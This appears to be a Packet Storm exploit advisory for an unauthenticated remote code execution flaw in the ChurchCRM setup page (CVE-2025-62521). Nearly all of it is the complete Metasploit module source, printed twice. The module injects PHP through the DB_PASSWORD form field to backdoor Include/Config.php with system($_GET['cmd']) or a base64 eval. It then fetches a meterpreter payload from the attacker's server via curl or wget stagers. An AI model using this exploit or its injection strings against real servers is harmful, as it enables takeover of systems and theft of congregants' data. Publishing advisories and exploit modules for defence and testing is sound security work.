10
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Description
This Metasploit module exploits an unauthenticated remote code execution vulnerability in the installation process of ChurchCRM versions 6.8.0 and earlier. By sending a specially crafted POST request to the setup page, an attacker can execute arbitrary...
Basic Information
ID
PACKETSTORM:215704
Published
Feb 16, 2026 at 00:00
Affected Product
Affected Versions
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ChurchCRM Unauthenticated RCE 6.8.0',
'Description' => %q{
This module exploits an unauthenticated remote code execution
vulnerability in the installation process of ChurchCRM versions
6.8.0 and earlier. By sending a specially crafted POST request to
the 'setup' page, an attacker can execute arbitrary commands on the
target server. This module uploads a meterpreter payload to the
target server and executes it, allowing for remote code execution.
},
'License' => MSF_LICENSE,
'Author' => ['LucasCsmt'],
'References' => [
[ 'GHSA', 'm8jq-j3p9-2xf3'],
[ 'CVE', '2025-62521']
],
'Platform' => ['linux', 'php'],
'Targets' => [
[
'Linux/unix Command (CmdStager)',
{
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Platform' => ['linux'],
'Type' => :nix_cmdstager,
'DefaultOptions' => {
'InitialAutoRunScript' => 'post/multi/general/execute COMMAND="rm Include/Config.php"'
},
'CmdStagerFlavor' => [
'printf', 'echo', 'bourne', 'fetch', 'curl', 'wget'
]
}
],
[
'PHP (In-Memory)',
{
'Arch' => [ ARCH_PHP ],
'Platform' => ['php'],
'Type' => :php_memory,
'DefaultOptions' => {
'InitialAutoRunScript' => 'post/multi/general/execute COMMAND="php -r \"unlink(\'Include/Config.php\');\""'
}
}
],
[
'PHP (fetch)',
{
'Arch' => [ ARCH_PHP ],
'Platform' => ['php'],
'Type' => :php_fetch,
'DefaultOptions' => {
'InitialAutoRunScript' => 'post/multi/general/execute COMMAND="php -r \"unlink(\'Include/Config.php\');\""'
}
}
],
],
'DisclosureDate' => '2025-12-17',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Base path', '/']),
]
)
end
# Check if the target is up by accessing the setup page
def check
print_status('Checking if the target is reachable...')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'setup', '/')
})
unless res && (res.code == 301 || res.code == 200 || res.code == 302)
fail_with(Failure::Unreachable, 'Target is not reachable')
return Exploit::CheckCode::Unknown('Target setup page is inaccessible')
end
version = res.headers['CRM-VERSION']
if version
print_status("Found ChurchCRM version: #{version}")
if Rex::Version.new(version) <= Rex::Version.new('6.8.0')
return Exploit::CheckCode::Appears("Vulnerable version #{version} detected via CRM-VERSION header.")
else
return Exploit::CheckCode::Safe("Version #{version} is not vulnerable.")
end
end
return Exploit::CheckCode::Appears
end
# Build the payload that will be into the installation form
#
# @return : the payload
def build_payload
case target['Type']
when :php_memory
b64_payload = Rex::Text.encode_base64(payload.encoded)
"#{rand_text_alpha(3)}'; eval(base64_decode(\"#{b64_payload}\")); //"
when :php_fetch
start_service
payload_name = '/tmp/' + rand_text_alpha(5..10) + '.php'
"#{rand_text_alpha(3)}'; $f='#{payload_name}'; file_put_contents($f, file_get_contents('#{get_uri}')); register_shutdown_function('unlink', $f); include($f); //"
else
"#{rand_text_alpha(3)}'; system($_GET['cmd']); //"
end
end
# Send a POST request to the setup page in order to execute commands
def alter_config
print_status('Injecting backdoor into Include/Config.php via setup page...')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'setup', '/'),
'vars_post' => {
'DB_SERVER_NAME' => rand_text_alpha(5..10),
'DB_SERVER_PORT' => '3306',
'DB_NAME' => rand_text_alpha(5..10),
'DB_USER' => rand_text_alpha(5..8),
'DB_PASSWORD' => build_payload,
'ROOT_PATH' => '/',
'URL' => "http://#{rand_text_alpha(5..10)}.com/"
}
})
msg = 'Failed to inject backdoor into Include/Config.php. ' \
'This can happen if the setup process has already been ' \
'completed or if the target is not vulnerable.'
fail_with(Failure::UnexpectedReply, msg) unless res&.code == 200
end
# Execute command on the target server
#
# @param cmd [String] the command to execute
def execute_command(cmd, _opts = {})
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'vars_get' => { 'cmd' => cmd }
})
end
# Execute PHP code on the target server in order to run the payload
def execute_php
print_status('Trying to execute the PHP payload')
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
print_good('PHP payload successfully executed')
end
# Upload the payload to the target server
def execute_linux
print_status('Uploading payload to the target server...')
execute_cmdstager(
linemax: 500,
nodelete: false,
background: true,
temp: '/tmp'
)
print_good('Payload uploaded successfully.')
end
# Handles the incoming HTTP request and serves the payload to the target.
def on_request_uri(cli, _request)
p = payload.encoded
send_response(cli, p, {
'Content-Type' => 'application/x-httpd-php',
'Pragma' => 'no-cache'
})
end
def exploit
alter_config
case target['Type']
when :nix_cmdstager
execute_linux
else
execute_php
end
end
end
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ChurchCRM Unauthenticated RCE 6.8.0',
'Description' => %q{
This module exploits an unauthenticated remote code execution
vulnerability in the installation process of ChurchCRM versions
6.8.0 and earlier. By sending a specially crafted POST request to
the 'setup' page, an attacker can execute arbitrary commands on the
target server. This module uploads a meterpreter payload to the
target server and executes it, allowing for remote code execution.
},
'License' => MSF_LICENSE,
'Author' => ['LucasCsmt'],
'References' => [
[ 'GHSA', 'm8jq-j3p9-2xf3'],
[ 'CVE', '2025-62521']
],
'Platform' => ['linux', 'php'],
'Targets' => [
[
'Linux/unix Command (CmdStager)',
{
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Platform' => ['linux'],
'Type' => :nix_cmdstager,
'DefaultOptions' => {
'InitialAutoRunScript' => 'post/multi/general/execute COMMAND="rm Include/Config.php"'
},
'CmdStagerFlavor' => [
'printf', 'echo', 'bourne', 'fetch', 'curl', 'wget'
]
}
],
[
'PHP (In-Memory)',
{
'Arch' => [ ARCH_PHP ],
'Platform' => ['php'],
'Type' => :php_memory,
'DefaultOptions' => {
'InitialAutoRunScript' => 'post/multi/general/execute COMMAND="php -r \"unlink(\'Include/Config.php\');\""'
}
}
],
[
'PHP (fetch)',
{
'Arch' => [ ARCH_PHP ],
'Platform' => ['php'],
'Type' => :php_fetch,
'DefaultOptions' => {
'InitialAutoRunScript' => 'post/multi/general/execute COMMAND="php -r \"unlink(\'Include/Config.php\');\""'
}
}
],
],
'DisclosureDate' => '2025-12-17',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Base path', '/']),
]
)
end
# Check if the target is up by accessing the setup page
def check
print_status('Checking if the target is reachable...')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'setup', '/')
})
unless res && (res.code == 301 || res.code == 200 || res.code == 302)
fail_with(Failure::Unreachable, 'Target is not reachable')
return Exploit::CheckCode::Unknown('Target setup page is inaccessible')
end
version = res.headers['CRM-VERSION']
if version
print_status("Found ChurchCRM version: #{version}")
if Rex::Version.new(version) <= Rex::Version.new('6.8.0')
return Exploit::CheckCode::Appears("Vulnerable version #{version} detected via CRM-VERSION header.")
else
return Exploit::CheckCode::Safe("Version #{version} is not vulnerable.")
end
end
return Exploit::CheckCode::Appears
end
# Build the payload that will be into the installation form
#
# @return : the payload
def build_payload
case target['Type']
when :php_memory
b64_payload = Rex::Text.encode_base64(payload.encoded)
"#{rand_text_alpha(3)}'; eval(base64_decode(\"#{b64_payload}\")); //"
when :php_fetch
start_service
payload_name = '/tmp/' + rand_text_alpha(5..10) + '.php'
"#{rand_text_alpha(3)}'; $f='#{payload_name}'; file_put_contents($f, file_get_contents('#{get_uri}')); register_shutdown_function('unlink', $f); include($f); //"
else
"#{rand_text_alpha(3)}'; system($_GET['cmd']); //"
end
end
# Send a POST request to the setup page in order to execute commands
def alter_config
print_status('Injecting backdoor into Include/Config.php via setup page...')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'setup', '/'),
'vars_post' => {
'DB_SERVER_NAME' => rand_text_alpha(5..10),
'DB_SERVER_PORT' => '3306',
'DB_NAME' => rand_text_alpha(5..10),
'DB_USER' => rand_text_alpha(5..8),
'DB_PASSWORD' => build_payload,
'ROOT_PATH' => '/',
'URL' => "http://#{rand_text_alpha(5..10)}.com/"
}
})
msg = 'Failed to inject backdoor into Include/Config.php. ' \
'This can happen if the setup process has already been ' \
'completed or if the target is not vulnerable.'
fail_with(Failure::UnexpectedReply, msg) unless res&.code == 200
end
# Execute command on the target server
#
# @param cmd [String] the command to execute
def execute_command(cmd, _opts = {})
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'vars_get' => { 'cmd' => cmd }
})
end
# Execute PHP code on the target server in order to run the payload
def execute_php
print_status('Trying to execute the PHP payload')
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
print_good('PHP payload successfully executed')
end
# Upload the payload to the target server
def execute_linux
print_status('Uploading payload to the target server...')
execute_cmdstager(
linemax: 500,
nodelete: false,
background: true,
temp: '/tmp'
)
print_good('Payload uploaded successfully.')
end
# Handles the incoming HTTP request and serves the payload to the target.
def on_request_uri(cli, _request)
p = payload.encoded
send_response(cli, p, {
'Content-Type' => 'application/x-httpd-php',
'Pragma' => 'no-cache'
})
end
def exploit
alter_config
case target['Type']
when :nix_cmdstager
execute_linux
else
execute_php
end
end
end